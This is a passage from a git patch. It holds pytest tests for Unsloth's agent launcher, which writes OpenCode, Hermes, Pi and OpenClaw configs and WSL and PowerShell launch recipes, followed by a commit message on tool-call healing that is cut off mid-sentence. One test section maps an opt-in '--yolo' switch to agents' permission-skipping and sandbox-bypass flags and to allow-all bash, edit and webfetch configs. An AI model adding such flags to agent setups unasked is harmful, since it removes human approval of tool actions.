+    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
+
+
+# ── OpenCode (OpenAI /v1/chat/completions) ───────────────────────────
+
+
+def test_write_opencode_config_fresh(tmp_path):
+    path = tmp_path / "opencode.json"
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    provider = config["provider"]["unsloth"]
+    assert provider["npm"] == "@ai-sdk/openai-compatible"
+    assert provider["options"] == {"baseURL": f"{BASE}/v1", "apiKey": "sk-unsloth-abc"}
+    # Context limit must be declared, or OpenCode treats it as 0 and disables compaction.
+    assert provider["models"] == {
+        MODEL["id"]: {"name": MODEL["id"], "limit": {"context": 131072, "output": 8192}}
+    }
+    assert config["model"] == f"unsloth/{MODEL['id']}"
+    # Compaction buffer scaled to ~10% of the window (compact near 90%).
+    assert config["compaction"] == {"auto": True, "reserved": 131072 // 10}
+
+
+def test_write_opencode_config_preserves_and_idempotent(tmp_path):
+    path = tmp_path / "opencode.json"
+    path.write_text(
+        json.dumps({"theme": "tokyonight", "provider": {"anthropic": {"name": "Anthropic"}}})
+    )
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    assert config["theme"] == "tokyonight"
+    assert config["provider"]["anthropic"]["name"] == "Anthropic"
+    assert config["provider"]["unsloth"]["options"]["baseURL"] == f"{BASE}/v1"
+    before = path.read_text()
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
+    assert path.read_text() == before
+
+
+def test_connect_opencode_no_launch(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "opencode" in result.output
+    config_path = tmp_path / "agents" / "opencode" / "opencode.json"
+    # OPENCODE_CONFIG overlay points at the session file, not the user's global config.
+    _assert_env_set(result.output, "OPENCODE_CONFIG", str(config_path))
+    config = json.loads(config_path.read_text())
+    assert config["provider"]["unsloth"]["options"]["apiKey"] == "sk-unsloth-feedfacefeedface"
+    assert config["model"] == f"unsloth/{MODEL['id']}"
+    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
+
+
+# ── Hermes (OpenAI /v1/chat/completions, key via env) ────────────────
+
+
+@pytest.fixture()
+def hermes_config(tmp_path):
+    return tmp_path / "config.yaml"
+
+
+def test_write_hermes_config_fresh(hermes_config):
+    yaml = pytest.importorskip("yaml")
+    start.write_hermes_config(BASE, MODEL, hermes_config)
+    config = yaml.safe_load(hermes_config.read_text())
+    # Hermes only honors the key for a *named* custom provider, so the endpoint
+    # is registered under providers.* and model.provider points at it.
+    assert config["model"]["provider"] == "custom:unsloth"
+    assert config["model"]["default"] == MODEL["id"]
+    assert config["model"]["api_mode"] == "openai"
+    # Pin the real context window (top-level override) and compact at 90% of it.
+    assert config["model"]["context_length"] == MODEL["context_length"]
+    assert config["compression"] == {"enabled": True, "threshold": 0.9}
+    # Windows at or above Hermes' floor need no auxiliary compression override.
+    assert "auxiliary" not in config
+    provider = config["providers"]["unsloth"]
+    assert provider["base_url"] == f"{BASE}/v1"
+    assert provider["api_mode"] == "openai"
+    assert provider["key_env"] == "UNSLOTH_API_KEY"
+    # The key is resolved from the launch env, never written to disk.
+    assert "sk-unsloth" not in hermes_config.read_text()
+
+
+def test_write_hermes_config_small_window_claims_floor(hermes_config):
+    yaml = pytest.importorskip("yaml")
+    small = {"id": "unsloth/Qwen3-1.7B-GGUF", "context_length": 40960}
+    start.write_hermes_config(BASE, small, hermes_config)
+    config = yaml.safe_load(hermes_config.read_text())
+    # Hermes refuses to initialize below its 64,000-token floor, so the recipe
+    # claims the floor and scales the compaction threshold so it still fires at
+    # 90% of the REAL window: 0.9 * 40960 / 65536.
+    assert config["model"]["context_length"] == 65536
+    assert config["compression"] == {"enabled": True, "threshold": 0.5625}
+    # The same floor check runs against the compression model mid-session.
+    assert config["auxiliary"]["compression"]["context_length"] == 65536
+
+
+def test_write_hermes_config_preserves_and_idempotent(hermes_config):
+    yaml = pytest.importorskip("yaml")
+    hermes_config.write_text(
+        yaml.safe_dump(
+            {
+                "terminal": {"backend": "local"},
+                "model": {"temperature": 0.7},
+                "providers": {"openrouter": {"base_url": "https://openrouter.ai/api/v1"}},
+            }
+        )
+    )
+    start.write_hermes_config(BASE, MODEL, hermes_config)
+    config = yaml.safe_load(hermes_config.read_text())
+    assert config["terminal"] == {"backend": "local"}  # unrelated sections kept
+    assert config["model"]["temperature"] == 0.7  # unrelated model keys kept
+    assert config["model"]["provider"] == "custom:unsloth"
+    assert config["providers"]["openrouter"]["base_url"] == "https://openrouter.ai/api/v1"
+    assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1"
+    before = hermes_config.read_text()
+    start.write_hermes_config(BASE, MODEL, hermes_config)
+    assert hermes_config.read_text() == before
+
+
+def test_write_hermes_config_preserves_non_mapping_file(hermes_config, capsys):
+    pytest.importorskip("yaml")
+    original = "- just\n- a\n- list\n"  # valid YAML, but not a mapping
+    hermes_config.write_text(original)
+    start.write_hermes_config(BASE, MODEL, hermes_config)
+    assert hermes_config.read_text() == original  # user-managed file left untouched
+    assert "couldn't parse" in capsys.readouterr().err
+
+
+def test_connect_hermes_no_launch(fake_studio, tmp_path):
+    yaml = pytest.importorskip("yaml")
+    result = CliRunner().invoke(start.start_app, ["hermes", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "UNSLOTH_API_KEY", "sk-unsloth-feedfacefeedface")
+    # HERMES_HOME relocates the whole hermes home, so the user's ~/.hermes is untouched.
+    home = tmp_path / "agents" / "hermes"
+    _assert_env_set(result.output, "HERMES_HOME", str(home))
+    assert "hermes" in result.output
+    config = yaml.safe_load((home / "config.yaml").read_text())
+    assert config["model"]["provider"] == "custom:unsloth"
+    assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1"
+    assert config["model"]["default"] == MODEL["id"]
+    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
+
+
+# ── Pi (OpenAI-compatible /v1, key in config, ~/.pi relocated via HOME) ──
+
+
+def test_write_pi_config_fresh(tmp_path):
+    path = tmp_path / ".pi" / "agent" / "models.json"
+    start.write_pi_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    provider = config["providers"]["unsloth"]
+    assert provider["api"] == "openai-completions"
+    assert provider["baseUrl"] == f"{BASE}/v1"
+    assert provider["apiKey"] == "sk-unsloth-abc"
+    # Pin the loaded window (and a sane output cap) so Pi compacts instead of
+    # overflowing; without it Pi assumes its 128000 default.
+    assert provider["models"] == [
+        {"id": MODEL["id"], "contextWindow": MODEL["context_length"], "maxTokens": 8192}
+    ]
+
+
+def test_write_pi_config_preserves_and_idempotent(tmp_path):
+    path = tmp_path / ".pi" / "agent" / "models.json"
+    path.parent.mkdir(parents = True)
+    path.write_text(json.dumps({"providers": {"google": {"api": "gemini"}}}))
+    start.write_pi_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    assert config["providers"]["google"] == {"api": "gemini"}  # unrelated provider kept
+    assert config["providers"]["unsloth"]["baseUrl"] == f"{BASE}/v1"
+    before = path.read_text()
+    start.write_pi_config(BASE, "sk-unsloth-abc", MODEL, path)
+    assert path.read_text() == before
+
+
+def test_connect_pi_no_launch(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["pi", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    # Pi resolves its config dir from PI_CODING_AGENT_DIR first, so pin it at the session
+    # dir (and relocate HOME) to keep the user's real ~/.pi untouched and their own
+    # PI_CODING_AGENT_DIR from redirecting Pi away from our provider/key.
+    home = tmp_path / "agents" / "pi"
+    _assert_env_set(result.output, "HOME", str(home))
+    _assert_env_set(result.output, "PI_CODING_AGENT_DIR", str(home / ".pi" / "agent"))
+    # Provider/model pinned on the command (Pi defaults to google otherwise).
+    assert f"pi --provider unsloth --model {MODEL['id']}" in result.output
+    config = json.loads((home / ".pi" / "agent" / "models.json").read_text())
+    assert config["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface"
+    assert config["providers"]["unsloth"]["models"] == [
+        {"id": MODEL["id"], "contextWindow": MODEL["context_length"], "maxTokens": 8192}
+    ]
+    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
+
+
+def test_connect_pi_no_launch_windows_relocates_userprofile(fake_studio, tmp_path, monkeypatch):
+    # On native Windows Node resolves ~/.pi via USERPROFILE, not HOME, so the session
+    # must point USERPROFILE at the relocated home or Pi reads the user's real ~/.pi.
+    monkeypatch.setattr(start.os, "name", "nt")
+    result = CliRunner().invoke(start.start_app, ["pi", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    home = tmp_path / "agents" / "pi"
+    assert f'$env:HOME = "{home}"' in result.output
+    assert f'$env:USERPROFILE = "{home}"' in result.output
+
+
+# ── WSLENV path translation + PowerShell quoting (helper units) ──
+
+
+def test_wsl_bridge_names_flags_paths_not_scalars():
+    # WSLENV only translates a var to a Windows path when its entry carries /p.
+    # Path-valued vars must get it; scalar knobs and URLs must not, or WSLENV would
+    # mangle them when handing off to a Windows shim under /mnt.
+    env = {
+        "CODEX_HOME": "/tmp/sess/codex",
+        "HOME": "/tmp/sess/pi",
+        "CLAUDE_CODE_AUTO_COMPACT_WINDOW": "4096",
+        "ANTHROPIC_BASE_URL": "http://127.0.0.1:8888",
+        "USERPROFILE": r"C:\Users\x",
+    }
+    names = start._wsl_bridge_names(env, ("ANTHROPIC_API_KEY",))
+    assert "CODEX_HOME/p" in names
+    assert "HOME/p" in names
+    assert "USERPROFILE/p" in names  # drive-qualified Windows path
+    assert "CLAUDE_CODE_AUTO_COMPACT_WINDOW" in names  # scalar: no /p
+    assert "CLAUDE_CODE_AUTO_COMPACT_WINDOW/p" not in names
+    assert "ANTHROPIC_BASE_URL" in names  # URL is not a filesystem path
+    assert "ANTHROPIC_API_KEY" in names  # cleared var carries no value to translate
+
+
+def test_merge_wslenv_dedups_on_base_name():
+    # An already-shared var must not be appended again just because the flag differs.
+    merged = start._merge_wslenv("CODEX_HOME/p:FOO", ("CODEX_HOME/p", "BAR/p"))
+    parts = merged.split(":")
+    assert parts.count("CODEX_HOME/p") == 1
+    assert "FOO" in parts and "BAR/p" in parts
+
+
+def test_merge_wslenv_upgrades_existing_unflagged_entry():
+    # A user's pre-existing bare "HOME" must be upgraded to "HOME/p" (not left bare or
+    # duplicated), or the Windows shim gets the path without WSL translation.
+    merged = start._merge_wslenv("HOME:FOO", ("HOME/p", "CODEX_HOME/p"))
+    parts = merged.split(":")
+    assert "HOME/p" in parts and "HOME" not in parts  # upgraded in place
+    assert parts.count("HOME/p") == 1
+    assert "FOO" in parts  # untouched user var preserved
+    assert "CODEX_HOME/p" in parts
+
+
+def test_powershell_quote_single_quotes_json():
+    # Bare flags/paths pass through; JSON payloads get single-quoted so PowerShell
+    # keeps the embedded double quotes literal (list2cmdline's backslashes would not).
+    assert start._powershell_quote("--settings") == "--settings"
+    assert start._powershell_quote("unsloth/gemma-4-26B") == "unsloth/gemma-4-26B"
+    quoted = start._powershell_quote(start._CLAUDE_SETTINGS_OVERLAY)
+    assert quoted == "'" + start._CLAUDE_SETTINGS_OVERLAY + "'"
+    assert "\\" not in quoted  # no cmd.exe backslash escaping
+    assert start._powershell_quote("a'b") == "'a''b'"  # embedded quote doubled
+
+
+# ── --yolo: one switch routed to each agent's own auto-approve form ──
+
+# The native "run tools without prompting" CLI flag each agent should receive.
+_NATIVE_YOLO = {
+    "claude": "--dangerously-skip-permissions",
+    "codex": "--dangerously-bypass-approvals-and-sandbox",
+    "hermes": "--yolo",
+    "pi": "--approve",
+}
+
+
+@pytest.mark.parametrize("agent, native", sorted(_NATIVE_YOLO.items()))
+def test_yolo_routes_to_native_flag(fake_studio, agent, native):
+    result = CliRunner().invoke(start.start_app, [agent, "--yolo", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert native in result.output
+
+
+@pytest.mark.parametrize("agent, native", sorted(_NATIVE_YOLO.items()))
+def test_no_yolo_omits_native_flag(fake_studio, agent, native):
+    result = CliRunner().invoke(start.start_app, [agent, "--no-launch"])
+    assert result.exit_code == 0, result.output
+    # pi's --approve is a real flag only added under --yolo; assert it's absent here.
+    command = _launch_command(result.output)
+    assert command and command[0] == agent, result.output
+    assert native not in command
+
+
+@pytest.mark.parametrize(
+    "alias",
+    ["--yolo", "--dangerously-skip-permissions", "--dangerously-bypass-approvals-and-sandbox"],
+)
+def test_yolo_aliases_are_interchangeable(fake_studio, alias):
+    # Any spelling on any agent routes to that agent's own flag, even the "wrong" one.
+    claude = CliRunner().invoke(start.start_app, ["claude", alias, "--no-launch"])
+    assert claude.exit_code == 0, claude.output
+    assert "--dangerously-skip-permissions" in claude.output
+    # The codex spelling must not leak through to Claude's command line.
+    assert "--dangerously-bypass-approvals-and-sandbox" not in claude.output
+
+    codex = CliRunner().invoke(start.start_app, ["codex", alias, "--no-launch"])
+    assert codex.exit_code == 0, codex.output
+    assert "--dangerously-bypass-approvals-and-sandbox" in codex.output
+    assert "--dangerously-skip-permissions" not in codex.output
+
+
+def test_yolo_opencode_writes_permission_block(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["opencode", "--yolo", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    config = json.loads((tmp_path / "agents" / "opencode" / "opencode.json").read_text())
+    assert config["permission"] == {"edit": "allow", "bash": "allow", "webfetch": "allow"}
+
+
+def test_no_yolo_opencode_has_no_permission_block(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    config = json.loads((tmp_path / "agents" / "opencode" / "opencode.json").read_text())
+    assert "permission" not in config
+
+
+def test_yolo_openclaw_writes_exec_policy(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--yolo", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    state = tmp_path / "agents" / "openclaw"
+    config = json.loads((state / "openclaw.json").read_text())
+    assert config["tools"]["exec"] == {"host": "gateway", "security": "full", "ask": "off"}
+    # Both layers: the host approvals file in OPENCLAW_STATE_DIR must also be set, or
+    # OpenClaw can still prompt/deny despite the config.
+    approvals = json.loads((state / "exec-approvals.json").read_text())
+    assert approvals["defaults"] == {"security": "full", "ask": "off", "askFallback": "full"}
+
+
+def test_no_yolo_openclaw_has_no_exec_policy(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    state = tmp_path / "agents" / "openclaw"
+    config = json.loads((state / "openclaw.json").read_text())
+    assert "exec" not in config.get("tools", {})  # no auto-approve policy without --yolo
+    assert not (state / "exec-approvals.json").exists()
+
+
+def test_write_opencode_config_yolo_unit(tmp_path):
+    path = tmp_path / "opencode.json"
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    config = json.loads(path.read_text())
+    assert config["permission"] == {"edit": "allow", "bash": "allow", "webfetch": "allow"}
+
+
+def test_write_openclaw_config_yolo_unit(tmp_path):
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"host": "gateway", "security": "full", "ask": "off"}
+    approvals = json.loads((path.parent / "exec-approvals.json").read_text())
+    assert approvals == {
+        "version": 1,
+        "defaults": {"security": "full", "ask": "off", "askFallback": "full"},
+    }
+
+
+def test_yolo_command_flags_unmapped_agent_is_empty():
+    # Config-based agents (and any typo) must yield no flag, not a KeyError.
+    assert start._yolo_command_flags("opencode", True) == []
+    assert start._yolo_command_flags("openclaw", True) == []
+    assert start._yolo_command_flags("claude", True) == ["--dangerously-skip-permissions"]
+    assert start._yolo_command_flags("claude", False) == []
+
+
+def test_yolo_config_agents_add_no_command_flag(fake_studio):
+    # opencode/openclaw auto-approve is config-only; nothing should leak onto argv.
+    for agent in ("opencode", "openclaw"):
+        result = CliRunner().invoke(start.start_app, [agent, "--yolo", "--no-launch"])
+        assert result.exit_code == 0, result.output
+        command = _launch_command(result.output)
+        assert command and command[0] == agent, result.output
+        assert not any("--yolo" in arg or "--dangerous" in arg for arg in command)
+
+
+def test_pi_launch_clears_screen_first(fake_studio, monkeypatch):
+    # Pi paints inline from the current cursor position (no alternate screen, no
+    # clear on its first render), so the launcher hands it a clean screen. The
+    # clear must come BEFORE the exec, and only on the launch path.
+    calls = []
+    monkeypatch.setattr(start.click, "clear", lambda: calls.append("clear"))
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/pi")
+
+    def run(command, env):
+        calls.append("exec")
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, ["pi"])
+    assert result.exit_code == 0, result.output
+    assert calls == ["clear", "exec"]
+
+
+def test_pi_no_launch_does_not_clear(fake_studio, monkeypatch):
+    # The --no-launch recipe is meant to be read (and piped); never wipe it.
+    calls = []
+    monkeypatch.setattr(start.click, "clear", lambda: calls.append("clear"))
+    result = CliRunner().invoke(start.start_app, ["pi", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert calls == []
+
+
+def test_claude_launch_does_not_clear(fake_studio, monkeypatch):
+    # Alternate-screen agents manage the terminal themselves; leave it alone.
+    calls = []
+    monkeypatch.setattr(start.click, "clear", lambda: calls.append("clear"))
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start, "_claude_flags", lambda: [])
+    monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0))
+    result = CliRunner().invoke(start.start_app, ["claude"])
+    assert result.exit_code == 0, result.output
+    assert calls == []
+
+
+@pytest.mark.skipif(
+    os.name == "nt",
+    reason = "WSL-from-Linux scenario: a Windows pi shim under /mnt called from WSL "
+    "(os.name is 'posix' under WSL), so this can't run on a native Windows runner.",
+)
+def test_connect_pi_wsl_windows_shim_relocates_userprofile(fake_studio, monkeypatch):
+    captured = {}
+    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/mnt/c/Users/x/AppData/Roaming/npm/pi")
+
+    def run(command, env):
+        captured["env"] = env
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, ["pi"])
+    assert result.exit_code == 0, result.output
+    home = captured["env"]["HOME"]
+    # A Windows pi shim resolves ~/.pi via USERPROFILE, so it must match the session
+    # HOME and ride the WSLENV bridge (with /p) so the path is translated for Windows.
+    assert captured["env"]["USERPROFILE"] == home
+    wslenv = captured["env"]["WSLENV"].split(":")
+    assert "HOME/p" in wslenv
+    assert "USERPROFILE/p" in wslenv
+
+
+def test_agent_api_key_auto_started_rejected_env_key_falls_back(fake_studio, tmp_path, monkeypatch):
+    # UNSLOTH_API_KEY exported for some OTHER server must not fail the launch
+    # against a server this run just auto-started: validate, then fall back to
+    # the local mint path, and never remember the foreign key for this base.
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/v1/models") and token == "sk-unsloth-other-server":
+            raise urllib.error.HTTPError(url, 401, "Unauthorized", None, None)
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    key = start._agent_api_key(BASE, "sk-unsloth-other-server", auto_started = True)
+    assert key == "sk-unsloth-feedfacefeedface"  # minted for the fresh server
+    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
+    assert "sk-unsloth-other-server" not in json.dumps(cached["servers"].get(BASE, {}))
+
+
+def test_agent_api_key_auto_started_accepted_key_is_honored(fake_studio, tmp_path):
+    # An explicit key the fresh server accepts (e.g. persisted in this Studio
+    # home's auth db across restarts) keeps working exactly as before.
+    key = start._agent_api_key(BASE, "sk-unsloth-deadbeefdeadbeef", auto_started = True)
+    assert key == "sk-unsloth-deadbeefdeadbeef"
+    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
+    assert cached["servers"][BASE]["saved"] == ["sk-unsloth-deadbeefdeadbeef"]
+
+
+def test_session_config_no_launch_preserves_existing_state(fake_studio, tmp_path):
+    # A previously printed recipe may still be running an agent whose sessions
+    # or sqlite state live in the stable home; a re-run must not wipe it.
+    with start._session_config("codex", launch = False) as home:
+        marker = home / "sessions" / "live.sqlite"
+        marker.parent.mkdir(parents = True)
+        marker.write_text("state")
+    with start._session_config("codex", launch = False) as home2:
+        assert home2 == home
+        assert (home2 / "sessions" / "live.sqlite").read_text() == "state"

From 308ea5a93cd07b72e0e3ed1afa0cd987300769fa Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Fri, 3 Jul 2026 08:22:42 -0700
Subject: [PATCH 186/306] Tool-call healing (default on) and opt-in nudging for
 the client-tool passthrough (#6801)

* inference: add passthrough tool-call healing core (heal_gate, heal_openai_message, StreamToolCallHealer, nudge helpers)

Small GGUF models often emit tool calls as text (<tool_call>{...}</tool_call>,
Gemma <|tool_call>, <function=> XML) instead of structured tool_calls. Studio's
enable-tools loop already heals these, but the client-tool passthrough
(unsloth run --disable-tools, unsloth start agents) relays them verbatim, so
the agent sees prose and the turn dies.

This module is the shared response-side repair layer the passthrough routes
will call: promote parsed text-form calls to structured calls, but only for
function names the client actually declared; coerce arguments through the same
canonical-key healing as the tool loop; never touch the upstream request body
(llama-server KV/slot reuse stays byte-identical). StreamToolCallHealer is the
streaming buffer-and-repair state machine: prose forwards immediately, only a
partial-signal tail or a suspected tool block is held, false alarms flush
verbatim, and a 64 KiB bound caps memory. nudge_should_retry/nudge_messages
support an opt-in single-retry nudge for non-streaming routes (wired later).

Kill-switch: UNSLOTH_DISABLE_TOOL_CALL_HEALING=1. Reuses
core/tool_healing.parse_tool_calls_from_text, strip_tool_call_markup, and
tool_loop_controller.coerce_tool_arguments unchanged.

* inference: heal text-form tool calls on the OpenAI and Responses passthrough

Wire the passthrough healing core into /v1/chat/completions and /v1/responses,
default ON whenever the request declares client tools:

Non-streaming: heal_openai_message runs inside the existing response-mutation
loop; a promoted call flips finish_reason to tool_calls and nulls the content,
and the verbatim-bytes fast path still applies when nothing was healed.
/v1/responses non-streaming inherits this through openai_chat_completions.

Streaming: a StreamToolCallHealer per stream. Ordinary prose relays
byte-for-byte (a fast path keeps upstream bytes when the healer passes a chunk
through whole); once a tool signal appears, content is held, and at the
finish/[DONE] boundary either synthetic delta.tool_calls chunks replace the
markup (finish_reason rewritten to tool_calls, including the synthetic-finish
path) or a false alarm flushes the held text verbatim. Structured upstream
deltas put the healer to sleep after flushing anything held, so grammar-mode
responses stay byte-identical. The Responses stream feeds healed calls through
the same per-call state machinery as structured deltas (indexes live in a
disjoint range so a healed call can never merge into a structured call's
state), and the visible/reasoning split runs first so reasoning text is never
promoted. parallel_tool_calls=false caps healed calls on every path.

The upstream request body is never touched and healing issues no extra
generation, so llama-server slot/KV-cache reuse is unchanged. Opt-out per
request with auto_heal_tool_calls=false (Responses reads it from the
extra-body); requests without tools relay verbatim.

* inference: heal text-form tool calls on the Anthropic /v1/messages passthrough

Streaming: AnthropicPassthroughEmitter.enable_healing(allowed_tools) routes
content deltas through the shared StreamToolCallHealer. A promoted call closes
any open text block (only the safe prose prefix ever streamed into it), opens a
synthetic tool_use block with a fresh toolu_* id, carries one input_json_delta,
and closes; finish() then forces stop_reason to tool_use unless a truncation
(max_tokens) wins. Structured upstream deltas flush anything held and put the
healer to sleep, so grammar-mode responses are untouched, as is every stream
where enable_healing is never called (Studio's own loop, no-tools requests).
disable_parallel_tool_use caps healed calls too.

Non-streaming: the OpenAI message dict is healed BEFORE block building, so the
existing tool_use promotion loop and stop_reason line treat promoted calls
exactly like native ones (finish_reason length still maps to max_tokens). The
legacy tool-XML strip still runs on remaining text, so opted-out requests keep
today's cleanup behavior byte-for-byte.

auto_heal_tool_calls is now a typed field on AnthropicMessagesRequest
(default True, mirroring Chat Completions) and threads into both passthrough
calls. Healing never touches the upstream request body.

* inference: opt-in single-retry tool-call nudge on the non-streaming passthrough

When the model clearly tried to call a tool (a tool signal in the text) but
healing produced nothing usable, re-ask once: the retry body is the original
body plus an assistant turn (the model's own failed text) and a short user
nudge naming the declared tools. The prompt prefix stays byte-identical, so
llama-server reuses the slot's KV cache and only the two-message suffix is
prefilled. The retry replaces the original response only when it actually
yields a promotable or structured call; on any error or still-garbage output
the original response is returned unchanged. Exactly one retry, non-streaming
OpenAI and Anthropic passthroughs only (a stream has already emitted bytes).

OPT-IN per user decision: nudge_tool_calls=true per request (typed on both
ChatCompletionRequest and AnthropicMessagesRequest, lifted from the Responses
extra-body), or UNSLOTH_TOOL_CALL_NUDGE=1 to flip the process default.
auto_heal_tool_calls=false disables healing AND the nudge.

Also align the non-streaming heal on allow_incomplete=True: the response is
final, so a trailing unclosed tool block is a model failure worth repairing,
matching the enable-tools loop's drain semantics.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* inference: never assume the upstream response shape in the nudge helpers

llama-server error bodies can carry message: null (or no choices at all), and
_last_assistant_text / response_has_promotable_calls / nudge_should_retry
called .get() on the message without a dict check, so a malformed upstream
response raised an AttributeError the surrounding except tuples did not catch,
failing the request instead of degrading to 'nothing to heal'. Route the shape
probing through one _first_choice_message helper that returns None for any
non-dict message, and add a parametrized test over the malformed shapes.

* inference: constrain healing by tool_choice, preserve length finish_reason, keep healed event order in Responses streams

Three review findings on the passthrough healer:

- heal_gate now honors the request's tool_choice: "none" disables healing
  outright and a forced function narrows the promotion allowlist to that
  one function, so healing can never contradict the request's tool-choice
  constraint. Wired through the OpenAI chat (stream and non-stream),
  Responses, and Anthropic (converted shape) passthroughs.
- The OpenAI non-streaming heal only upgrades finish_reason "stop" to
  "tool_calls"; a truncated generation keeps "length" (the healed call
  stays attached) matching the streaming and Anthropic paths.
- The Responses stream emits healer events in order instead of collapsing
  all text ahead of the healed calls, so text after a healed call no longer
  jumps ahead of the function_call item and output indexes are claimed in
  the order the model produced them.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* inference: all-or-nothing promotion when a response mixes declared and undeclared text-form calls

Promoting a subset used to strip ALL tool markup from the content, which
silently deleted the text of any call naming an undeclared tool. The heal
now declines entirely when any parsed call is unpromotable, so the whole
message relays verbatim (pre-PR behavior) and no bytes are ever lost. In
streaming, a declared call that completed before an undeclared one arrived
is already emitted; the late undeclared markup still flushes as raw text.
The nudge helpers mirror the same contract via a shared predicate.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* tests: wrap long lines in the Responses healing tests to the project style

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* inference: span-exact healing, disjoint healed stream indexes, per-call Responses message items, allowlisted nudge acceptance

Four review findings on the passthrough healer:

- parse_tool_calls_from_text gains an optional with_spans return so healing
  removes EXACTLY the promoted calls' markup. This supersedes the previous
  all-or-nothing rule: declared calls promote and every unpromoted byte
  (undeclared calls, unparseable closed blocks, suppressed alternate
  formats such as a <function=...> block after a JSON call) relays as text.
  The stream healer also processes one block per pass, so text between two
  healed calls keeps its document position instead of trailing them.
- The OpenAI chat stream shifts native tool-call delta indexes past any
  already-emitted healed calls; clients merge deltas by index, so a healed
  call and a later native call can no longer merge into one.
- A healed call in the Responses stream closes the open message item and
  trailing text opens a fresh one with a later output index, matching the
  native stream shape; response.completed snapshots every message item
  with its own text.
- The nudge retry only replaces the original response when the retry's
  structured call names a DECLARED tool; a hallucinated undeclared call is
  not an improvement.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: stop the heal path folding trailing prose into a closed function call

parse_tool_calls_from_text(allow_incomplete=True) cut a <function=...> body only
at an end-anchored </function>, so a fully closed call followed by trailing prose
(<function=..>..</parameter></function> words) folded </parameter></function> and
the prose into the tool argument and deleted the prose from visible content. The
strict path (allow_incomplete=False) already cut at the real </function> via rfind.
Do the same in both modes: trim the body at the real </function> when present and
end the removal span there, falling back to the end-anchored strip and body_end
only when the call is genuinely truncated. Add a regression test.

* inference: one shared single-call budget for healed and native calls

Codex round 5: the parallel-call caps counted healed and native calls
separately, so a healed text-form call followed by a native structured
delta double-emitted on all three streaming surfaces when the client
disabled parallel calls.

- OpenAI SSE: once a healed call went out with parallel_tool_calls
  false, native tool_call deltas are dropped instead of index-shifted.
- Anthropic emitter: native deltas skip block allocation when the
  healed-plus-native count already filled the single slot, and healed
  emission counts open native states too.
- Responses stream: native deltas that survived the chunk-level cap are
  skipped once a healed call claimed the slot.

Also adds a span assertion for the closed-</function> trailing-prose
parse fixed in the previous commit.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: relay undeclared text-form calls as text on Anthropic non-streaming

heal_openai_message promotes only declared text-form tool calls and
span-trims just their markup, deliberately leaving every unpromoted byte
(undeclared text-form calls included) in the content to relay as text.
The Anthropic non-streaming builder then ran a blanket _TOOL_XML_RE strip
over that content unconditionally, deleting the undeclared block before
building the text part, so Anthropic clients silently lost a call the
OpenAI non-streaming path preserves. The strip was harmless when healing
was all-or-nothing but became data loss once healing turned span-exact.

Gate the legacy strip on whether healing promoted a call, matching the
OpenAI passthrough and the intent already stated in the comment above.
Add a route-level regression test for the mixed declared+undeclared case.

* inference: require fully declared nudge retries; keep unpromoted Anthropic text

Codex round 6, two findings:

- response_has_promotable_calls accepted a nudge retry when any one
